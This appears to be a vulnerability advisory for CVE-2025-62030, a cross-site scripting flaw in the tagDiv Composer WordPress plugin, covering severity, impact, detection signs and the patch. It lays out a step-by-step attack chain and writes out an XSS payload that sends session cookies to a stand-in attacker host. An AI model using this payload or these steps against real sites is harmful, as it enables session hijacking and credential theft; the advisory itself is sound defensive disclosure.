CVE-2025-62030: 
WordPress vulnerability analysis and mitigation

CVE-2025-62030 is a Cross-Site Scripting (XSS) vulnerability in the tagDiv Composer WordPress plugin (td-composer) affecting all versions up to and including 5.4.1. The flaw was reported by researcher João Pedro S Alcântara (Kinorth) on September 9, 2025, and publicly disclosed by Patchstack on October 16, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), indicating that user-supplied input is not properly sanitized or escaped before being rendered in web pages. Exploitation requires a low-privileged account (Contributor or Developer role) and user interaction — specifically, a privileged user must perform an action such as clicking a malicious link or visiting a crafted page. The changed scope in the CVSS vector indicates that a successful attack can affect resources beyond the vulnerable component itself, such as the victim's browser session (Patchstack).

Successful exploitation allows an attacker to inject malicious scripts — including redirects, advertisements, and arbitrary HTML payloads — into the affected WordPress site, which are then executed in the browsers of visiting users. This can lead to session hijacking, credential theft, defacement, or delivery of malware to site visitors. The confidentiality, integrity, and availability impacts are each rated Low, reflecting a limited but real risk to affected sites and their users (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-62030. The EPSS score is approximately 0.034%, indicating a low probability of exploitation in the near term. Patchstack notes that XSS vulnerabilities of this type are sometimes used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Patchstack).

1. Reconnaissance: Identify WordPress sites running the tagDiv Composer plugin (td-composer) version 5.4.1 or earlier, using tools like WPScan or Shodan to enumerate plugin versions.
2. Obtain low-privileged access: Register or obtain credentials for a Contributor or Developer account on the target WordPress site.
3. Craft malicious payload: Prepare an XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected via a vulnerable input field handled by the tagDiv Composer plugin.
4. Inject payload: Submit the crafted payload through the vulnerable plugin interface (e.g., a post, page, or widget field processed by td-composer) that lacks proper output escaping.
5. Trigger user interaction: Lure a higher-privileged user (e.g., administrator) to view the affected content — via a phishing link, internal notification, or by publishing the malicious content.
6. Achieve objective: When the privileged user's browser renders the injected script, the attacker can steal session cookies, perform actions on behalf of the victim, or redirect users to malicious sites (Patchstack).

• Logs: WordPress access logs showing unusual POST requests to plugin-related endpoints with encoded or obfuscated script content; repeated requests from low-privileged accounts to content creation endpoints.
• File System: Unexpected modifications to WordPress post content or widget data containing <script> tags or JavaScript event handlers; new or modified files in the wp-content/plugins/td-composer/ directory.
• Network: Outbound connections from the web server or victim browsers to unknown external domains following page visits; unusual redirects originating from the WordPress site.
• Process/Behavior: Browser-side alerts or unexpected redirects reported by site visitors or administrators after viewing specific pages or posts (Patchstack).

The vendor has released version 5.4.2 of the tagDiv Composer plugin, which patches this vulnerability. Site administrators should update the plugin to version 5.4.2 or later immediately. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard. If an immediate update is not possible, restricting Contributor and Developer role permissions or temporarily disabling the plugin is advisable (Patchstack).

Wordfence included this vulnerability in their weekly WordPress vulnerability report for the period of October 13–19, 2025, indicating broad coverage within the WordPress security community. No notable vendor statements or significant social media discussion beyond standard vulnerability reporting have been identified for this CVE.
